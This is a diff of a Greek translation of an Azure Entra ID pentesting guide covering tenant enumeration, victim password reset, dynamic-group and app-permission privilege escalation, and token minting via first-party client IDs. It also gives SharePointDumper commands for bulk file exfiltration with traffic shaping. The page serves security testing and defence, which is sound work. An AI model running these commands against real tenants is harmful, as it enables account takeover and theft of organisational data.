+Για παράδειγμα, ένα **powershell script** που **authenticates** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην **console**, ένας sysadmin θα μπορούσε να **block that application** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της **App**.
-Ωστόσο, υπάρχουν **άλλα client-ids** εφαρμογών που **θα σας επιτρέψουν να συνδεθείτε στο Azure**:
+Ωστόσο, υπάρχουν **other client-ids** εφαρμογών που **will allow you to connect to Azure**:
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
@@ -227,7 +227,7 @@ az account tenant list
### Χρήστες
-Για περισσότερες πληροφορίες σχετικά με τους χρήστες του Entra ID, δείτε:
+Για περισσότερες πληροφορίες σχετικά με τους χρήστες Entra ID δείτε:
{{#ref}}
../az-basic-information/
@@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtab }}
{{#endtabs }}
-#### Αλλαγή κωδικού χρήστη
+#### Αλλαγή Κωδικού Χρήστη
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
```
-### MFA & Conditional Access Πολιτικές
+### MFA & Conditional Access Policies
-Συνιστάται ανεπιφύλακτα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο ορισμένες εταιρείες δεν το ενεργοποιούν ή μπορεί να το ρυθμίσουν με Conditional Access: θα **απαιτείται MFA αν** ο χρήστης συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια συνθήκη**. Αυτές οι πολιτικές, αν δεν διαμορφωθούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε:
+Συνιστάται έντονα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο μερικές εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: ο χρήστης θα **απαιτείται MFA αν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια συνθήκη**. Αυτές οι πολιτικές, αν δεν διαμορφωθούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Ομάδες
-Για περισσότερες πληροφορίες σχετικά με Entra ID groups δείτε:
+Για περισσότερες πληροφορίες σχετικά με τις ομάδες Entra ID δείτε:
{{#ref}}
../az-basic-information/
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl *
#### Προσθήκη χρήστη σε ομάδα
-Οι κάτοχοι της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα.
+Οι ιδιοκτήτες της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα
```bash
Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
```
> [!WARNING]
-> Οι ομάδες μπορούν να είναι δυναμικές, που σημαίνει ουσιαστικά ότι **εάν ένας χρήστης πληροί ορισμένες προϋποθέσεις θα προστεθεί σε μια ομάδα**. Φυσικά, εάν οι προϋποθέσεις βασίζονται σε **χαρακτηριστικά** που ένας **χρήστης** μπορεί να **ελέγξει**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\
-> Δείτε πώς να καταχραστείτε δυναμικές ομάδες στην ακόλουθη σελίδα:
+> Groups μπορεί να είναι dynamic, που ουσιαστικά σημαίνει ότι **εάν ένας user πληροί ορισμένες προϋποθέσεις, θα προστεθεί σε μια group**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **attributes** που ένας **user** μπορεί να **ελέγχει**, θα μπορούσε να καταχραστεί αυτή τη λειτουργία για να **μπει σε άλλες ομάδες**.\
+> Δείτε πώς να καταχραστείτε τα dynamic groups στην ακόλουθη σελίδα:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose
### Service Principals
-Για περισσότερες πληροφορίες σχετικά με τα Entra ID service principals, δείτε:
+Για περισσότερες πληροφορίες σχετικά με τα Entra ID service principals ελέγξτε:
{{#ref}}
../az-basic-information/
@@ -598,7 +598,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
{{#endtabs }}
> [!WARNING]
-> Ο Owner ενός Service Principal μπορεί να αλλάξει τον κωδικό του.
+> Ο Owner ενός Service Principal μπορεί να αλλάξει τον κωδικό πρόσβασής του.
@@ -715,10 +715,11 @@ Write-Output "Failed to Enumerate the Applications."
../az-basic-information/
{{#endref}}
-Όταν δημιουργείται μια εφαρμογή δίνονται 2 τύποι δικαιωμάτων:
+Όταν δημιουργείται ένα App δίνονται 3 τύποι δικαιωμάτων:
-- **Δικαιώματα** που δίνονται στον **Service Principal**
-- **Δικαιώματα** που μπορεί να έχει η **app** και να χρησιμοποιεί εκ μέρους του **χρήστη**
+- **Δικαιώματα** που δίνονται στον **Service Principal** (μέσω ρόλων).
+- **Δικαιώματα** που η **app** μπορεί να έχει και να χρησιμοποιεί **εκ μέρους του χρήστη**.
+- **API Permissions** που δίνουν στην app δικαιώματα πάνω στο EntraID χωρίς να απαιτούν άλλους ρόλους που να χορηγούν αυτά τα δικαιώματα.
{{#tabs }}
{{#tab name="az cli" }}
@@ -772,7 +773,7 @@ az ad sp show --id --query "appRoles[?id==''].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
```
-Βρες όλες τις εφαρμογές με δικαιώματα API προς μη-Microsoft APIs (az cli)
+Εύρεση όλων των δικαιωμάτων API εφαρμογών και επισήμανση των API που ανήκουν στη Microsoft (az cli)
```bash
#!/usr/bin/env bash
set -euo pipefail
@@ -794,6 +795,32 @@ done
return 1
}
+get_permission_value() {
+local resource_app_id="$1"
+local perm_type="$2"
+local perm_id="$3"
+local key value
+key="${resource_app_id}|${perm_type}|${perm_id}"
+
+value="$(awk -F '\t' -v k="$key" '$1==k {print $2; exit}' "$tmp_perm_cache")"
+if [ -n "$value" ]; then
+printf '%s\n' "$value"
+return 0
+fi
+
+if [ "$perm_type" = "Scope" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "oauth2PermissionScopes[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+elif [ "$perm_type" = "Role" ]; then
+value="$(az ad sp show --id "$resource_app_id" --query "appRoles[?id=='$perm_id'].value | [0]" -o tsv 2>/dev/null || true)"
+else
+value=""
+fi
+
+[ -n "$value" ] || value="UNKNOWN"
+printf '%s\t%s\n' "$key" "$value" >> "$tmp_perm_cache"
+printf '%s\n' "$value"
+}
+
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
az account show >/dev/null
@@ -802,7 +829,8 @@ apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0
tmp_map="$(mktemp)"
tmp_ids="$(mktemp)"
-trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+tmp_perm_cache="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids" "$tmp_perm_cache"' EXIT
# Build unique resourceAppId values used by applications.
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
@@ -816,9 +844,9 @@ name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
done < "$tmp_ids"
-echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions"
-# Print only app permissions where the target API is NOT Microsoft-owned.
+# Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do
app_name="$(jq -r '.[0]' <<<"$row")"
app_id="$(jq -r '.[1]' <<<"$row")"
@@ -833,14 +861,25 @@ resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
[ -n "$resource_name" ] || resource_name="UNKNOWN"
if is_microsoft_owner "$owner_org"; then
-continue
+is_ms="true"
+else
+is_ms="false"
fi
+permissions_csv=""
while IFS= read -r access; do
perm_type="$(jq -r '.type' <<<"$access")"
perm_id="$(jq -r '.id' <<<"$access")"
-echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+perm_value="$(get_permission_value "$resource_app_id" "$perm_type" "$perm_id")"
+perm_label="${perm_type}:${perm_value}"
+if [ -z "$permissions_csv" ]; then
+permissions_csv="$perm_label"
+else
+permissions_csv="${permissions_csv},${perm_label}"
+fi
done < <(jq -c '.resourceAccess[]' <<<"$rra")
+
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}"
done < <(jq -c '.[2][]' <<<"$row")
done < <(jq -c '.[]' <<<"$apps_json")
```
@@ -895,17 +934,17 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
-> Μια εφαρμογή με το δικαίωμα **`AppRoleAssignment.ReadWrite`** μπορεί να **αναβαθμιστεί σε Global Admin** χορηγώντας στον εαυτό της αυτόν τον ρόλο.\
-> Για περισσότερες πληροφορίες [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
+> Μια εφαρμογή με την άδεια **`AppRoleAssignment.ReadWrite`** μπορεί να **αναβαθμιστεί σε Global Admin** χορηγώντας στον εαυτό της τον ρόλο.\
+> Για περισσότερες πληροφορίες [**δείτε εδώ**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
-> Μια μυστική συμβολοσειρά που η εφαρμογή χρησιμοποιεί για να αποδείξει την ταυτότητά της όταν ζητά ένα token είναι το application password.\
-> Οπότε, αν βρείτε αυτό το **password** μπορείτε να αποκτήσετε πρόσβαση ως το **service principal** **μέσα** στον **tenant**.\
-> Σημειώστε ότι αυτό το password είναι ορατό μόνο κατά τη δημιουργία του (μπορείτε να το αλλάξετε αλλά δεν μπορείτε να το ανακτήσετε).\
-> Ο **owner** της **application** μπορεί να **προσθέσει ένα password** σε αυτή (ώστε να μπορεί να την προσποιηθεί).\
-> Οι συνδέσεις ως αυτά τα service principals **δεν επισημαίνονται ως risky** και **δεν θα έχουν MFA.**
+> Ένα μυστικό string που η εφαρμογή χρησιμοποιεί για να αποδείξει την ταυτότητά της όταν ζητάει ένα token είναι το application password.\
+> Έτσι, αν βρείτε αυτό το **password** μπορείτε να έχετε πρόσβαση ως ο **service principal** **μέσα** στο **tenant**.\
+> Σημειώστε ότι αυτό το password είναι ορατό μόνο όταν δημιουργείται (μπορείτε να το αλλάξετε αλλά δεν μπορείτε να το ανακτήσετε ξανά).\
+> Ο **owner** της **application** μπορεί να **add a password** σε αυτήν (ώστε να μπορεί να την impersonate).\
+> Οι συνδέσεις ως αυτοί οι service principals **δεν σημειώνονται ως risky** και **δεν θα έχουν MFA.**
-Είναι δυνατό να βρείτε μια λίστα με συνήθως χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
+It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Managed Identities
@@ -925,9 +964,9 @@ az identity list --output table
{{#endtab }}
{{#endtabs }}
-### Ρόλοι του Azure
+### Azure Ρόλοι
-Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure, δείτε:
+Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure δείτε:
{{#ref}}
../az-basic-information/
@@ -1012,7 +1051,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
-### Ρόλοι Entra ID
+### Entra ID Ρόλοι
Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure, δείτε:
@@ -1135,8 +1174,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
-> Εάν μια συσκευή (VM) είναι **AzureAD joined**, χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\
-> Επιπλέον, εάν ο συνδεδεμένος χρήστης είναι **Owner** της συσκευής, θα είναι **τοπικός διαχειριστής**.
+> Αν μια συσκευή (VM) είναι **AzureAD joined**, χρήστες από το AzureAD **θα μπορούν να συνδεθούν**.\
+> Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Owner** της συσκευής, θα είναι **local admin**.
### Διοικητικές Μονάδες
@@ -1177,12 +1216,12 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
-Οι επιτιθέμενοι με ένα **delegated Microsoft Graph token** που περιλαμβάνει **`Sites.Read.All`** ή **`Sites.ReadWrite.All`** μπορούν να απαριθμήσουν **sites/drives/items** μέσω του Graph και στη συνέχεια να **τραβήξουν τα περιεχόμενα αρχείων** μέσω **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Το [SharePointDumper](https://github.com/zh54321/SharePointDumper) script αυτοματοποιεί ολόκληρη τη ροή (enumeration → pre-auth downloads) και εκπέμπει per-request telemetry για testing ανίχνευσης.
+Επιτιθέμενοι με ένα **delegated Microsoft Graph token** που περιλαμβάνει **`Sites.Read.All`** ή **`Sites.ReadWrite.All`** μπορούν να απαριθμήσουν **sites/drives/items** μέσω του Graph και στη συνέχεια να εξάγουν τα περιεχόμενα αρχείων μέσω των **SharePoint pre-authentication download URLs** (χρονοπεριορισμένα URLs που ενσωματώνουν ένα access token). Το script [SharePointDumper](https://github.com/zh54321/SharePointDumper) αυτοματοποιεί ολόκληρη τη ροή (enumeration → pre-auth downloads) και εκπέμπει τηλεμετρία ανά αίτημα για δοκιμές ανίχνευσης.
-### Obtaining usable delegated tokens
+### Απόκτηση χρησιμοποιήσιμων delegated tokens
-- Το SharePointDumper καθεαυτό **does not authenticate**· παρέχετε ένα access token (προαιρετικά refresh token).
-- Τα pre-consented **first-party clients** μπορούν να καταχραστούν για να δημιουργήσουν ένα Graph token χωρίς να εγγράψουν app. Παράδειγμα κλήσεων `Invoke-Auth` (από [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
+- Το SharePointDumper καθαυτό **δεν κάνει authentication**· παρέχετε ένα access token (προαιρετικά refresh token).
+- Πελάτες first-party με προ-συναίνεση μπορούν να καταχραστούν για να δημιουργήσουν ένα Graph token χωρίς εγγραφή εφαρμογής. Παράδειγμα κλήσεων `Invoke-Auth` (από [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
```powershell
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
@@ -1195,7 +1234,7 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
-> Οι πελάτες FOCI TRUE υποστηρίζουν ανανέωση σε πολλές συσκευές; οι πελάτες FOCI FALSE συχνά απαιτούν `-Origin` για να ικανοποιηθεί ο έλεγχος προέλευσης του reply URL.
+> Οι FOCI TRUE clients υποστηρίζουν refresh across devices· οι FOCI FALSE clients συχνά απαιτούν `-Origin` για να ικανοποιηθεί το reply URL origin validation.
### Εκτέλεση SharePointDumper για enumeration + exfiltration
@@ -1203,11 +1242,11 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
-- Έλεγχος εύρους: συμπερίληψη/αποκλεισμός τοποθεσιών ή επεκτάσεων και παγκόσμια όρια:
+- Έλεγχος εύρους: συμπερίληψη/εξαίρεση ιστότοπων ή επεκτάσεων και παγκόσμια όρια:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
-- **Συνέχιση** διακοπείσων εκτελέσεων (επανα-απαριθμεί αλλά παραλείπει ήδη ληφθέντα στοιχεία):
+- **Συνέχισε** διακοπείσες εκτελέσεις (επαναεντοπίζει αλλά παραλείπει τα ήδη κατεβασμένα αντικείμενα):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
@@ -1216,11 +1255,11 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
-Λειτουργικές σημειώσεις:
+Σημειώσεις λειτουργίας:
-- Προτιμά **CAE-enabled** tokens για να αποφευχθεί η λήξη κατά τη διάρκεια της εκτέλεσης· οι προσπάθειες ανανέωσης **δεν** καταγράφονται στο tool’s API log.
-- Δημιουργεί **CSV/JSON request logs** για **Graph + SharePoint** και αποκρύπτει ενσωματωμένα SharePoint download tokens από προεπιλογή (με δυνατότητα εναλλαγής).
-- Υποστηρίζει **προσαρμοσμένο User-Agent**, **HTTP proxy**, **καθυστέρηση ανά αίτημα + jitter**, και **Ctrl+C-safe shutdown** για διαμόρφωση κυκλοφορίας κατά τη διάρκεια δοκιμών detection/IR.
+- Προτιμά **CAE-enabled** tokens για να αποφευχθεί η λήξη κατά τη διάρκεια εκτέλεσης· οι προσπάθειες ανανέωσης **δεν** καταγράφονται στο API log του εργαλείου.
+- Δημιουργεί **CSV/JSON request logs** για **Graph + SharePoint** και αποσιωπά ενσωματωμένα SharePoint download tokens από προεπιλογή (εναλλασσόμενο).
+- Υποστηρίζει **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, και **Ctrl+C-safe shutdown** για shaping της κυκλοφορίας κατά τη διάρκεια δοκιμών detection/IR.
## Entra ID Privilege Escalation
@@ -1234,29 +1273,29 @@ Import-Module ./EntraTokenAid/EntraTokenAid.psm1
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
-## Μηχανισμοί Άμυνας
+## Αμυντικοί Μηχανισμοί
### Privileged Identity Management (PIM)
-Privileged Identity Management (PIM) in Azure βοηθά στο να αποφεύγεται η εκχώρηση υπερβολικών προνομίων σε χρήστες χωρίς λόγο.
+Το Privileged Identity Management (PIM) στο Azure βοηθάει στο να **αποτραπεί η ανάθεση υπερβολικών προνομίων** σε χρήστες χωρίς λόγο.
-Ένα από τα κύρια χαρακτηριστικά που παρέχει το PIM είναι ότι επιτρέπει να μην εκχωρούνται ρόλοι σε principals που είναι συνεχώς ενεργοί, αλλά να τους καθιστά **eligible για μια περίοδο (π.χ. 6 μήνες)**. Όταν ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να το ζητήσει υποδεικνύοντας το χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **admin πρέπει να εγκρίνει** το αίτημα.\
-Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επιμηκύνει** τον χρόνο.
+Ένα από τα κύρια χαρακτηριστικά που παρέχει το PIM είναι ότι επιτρέπει να μην ανατίθενται ρόλοι σε principals που είναι συνεχώς ενεργοί, αλλά να τους κάνει **eligible for a period of time (e.g. 6months)**. Όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να τον ζητήσει δηλώνοντας το χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **admin needs to approve** το αίτημα.\
+Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **extend** το χρόνο.
-Επιπλέον, το **PIM στέλνει emails** όποτε ένας προνομιακός ρόλος εκχωρείται σε κάποιον.
+Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
-Όταν το PIM είναι ενεργοποιημένο είναι δυνατό να διαμορφώσετε κάθε ρόλο με ορισμένες απαιτήσεις όπως:
+Όταν το PIM είναι ενεργοποιημένο είναι δυνατό να ρυθμίσετε κάθε ρόλο με ορισμένες απαιτήσεις όπως:
- Μέγιστη διάρκεια (ώρες) ενεργοποίησης
-- Απαίτηση MFA κατά την ενεργοποίηση
-- Απαίτηση Conditional Access authentication context
+- Require MFA on activation
+- Απαίτηση Conditional Access acuthenticaiton context
- Απαίτηση αιτιολόγησης κατά την ενεργοποίηση
- Απαίτηση πληροφοριών ticket κατά την ενεργοποίηση
- Απαίτηση έγκρισης για ενεργοποίηση
-- Μέγιστος χρόνος μέχρι να λήξουν οι eligible assignments
-- Πολλές ακόμη ρυθμίσεις για το πότε και σε ποιον αποστέλλονται ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο
+- Μέγιστος χρόνος πριν λήξουν οι elegible assignments
+- Πολλές ακόμη ρυθμίσεις σχετικά με το πότε και σε ποιον να αποστέλλονται ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο
### Conditional Access Policies
@@ -1268,21 +1307,21 @@ Check:
### Entra Identity Protection
-Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
+Το Entra Identity Protection είναι μια υπηρεσία ασφαλείας που επιτρέπει να **εντοπίζεται όταν ένας χρήστης ή μια προσπάθεια σύνδεσης (sign-in) είναι υπερβολικά επικίνδυνη** για να γίνει αποδεκτή, επιτρέποντας να **μπλοκαριστεί** ο χρήστης ή η προσπάθεια σύνδεσης.
-Επιτρέπει στον admin να το ρυθμίσει ώστε να **αποκλείει** προσπάθειες όταν ο κίνδυνος είναι "Low and above", "Medium and above" ή "High". Ωστόσο, από προεπιλογή είναι εντελώς **disabled**:
+Επιτρέπει στον admin να το διαμορφώσει ώστε να **μπλοκάρει** προσπάθειες όταν ο κίνδυνος είναι "Low and above", "Medium and above" ή "High". Ωστόσο, από προεπιλογή είναι εντελώς **απενεργοποιημένο**:
> [!TIP]
-> Σήμερα συνιστάται να προσθέσετε αυτούς τους περιορισμούς μέσω Conditional Access policies όπου είναι δυνατή η ρύθμιση των ίδιων επιλογών.
+> Σήμερα συνιστάται να προσθέσετε αυτούς τους περιορισμούς μέσω Conditional Access policies όπου είναι δυνατό να διαμορφωθούν οι ίδιες επιλογές.
### Entra Password Protection
-Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
-Επίσης επιτρέπει να **απαγορευτεί μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε.
+Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) είναι ένα χαρακτηριστικό ασφαλείας που **βοηθά στην αποτροπή της εκμετάλλευσης αδύναμων κωδικών, κλειδώνοντας λογαριασμούς όταν γίνονται αρκετές ανεπιτυχείς προσπάθειες σύνδεσης**.\
+Επιπλέον, επιτρέπει να **απαγορεύσετε μια προσαρμοσμένη λίστα κωδικών** που πρέπει να παρέχετε.
-Μπορεί να **εφαρμοστεί και στα δύο** επίπεδα: στο cloud και στο on-premises Active Directory.
+Μπορεί να εφαρμοστεί **τόσο** σε επίπεδο cloud όσο και σε on-premises Active Directory.
Η προεπιλεγμένη λειτουργία είναι **Audit**: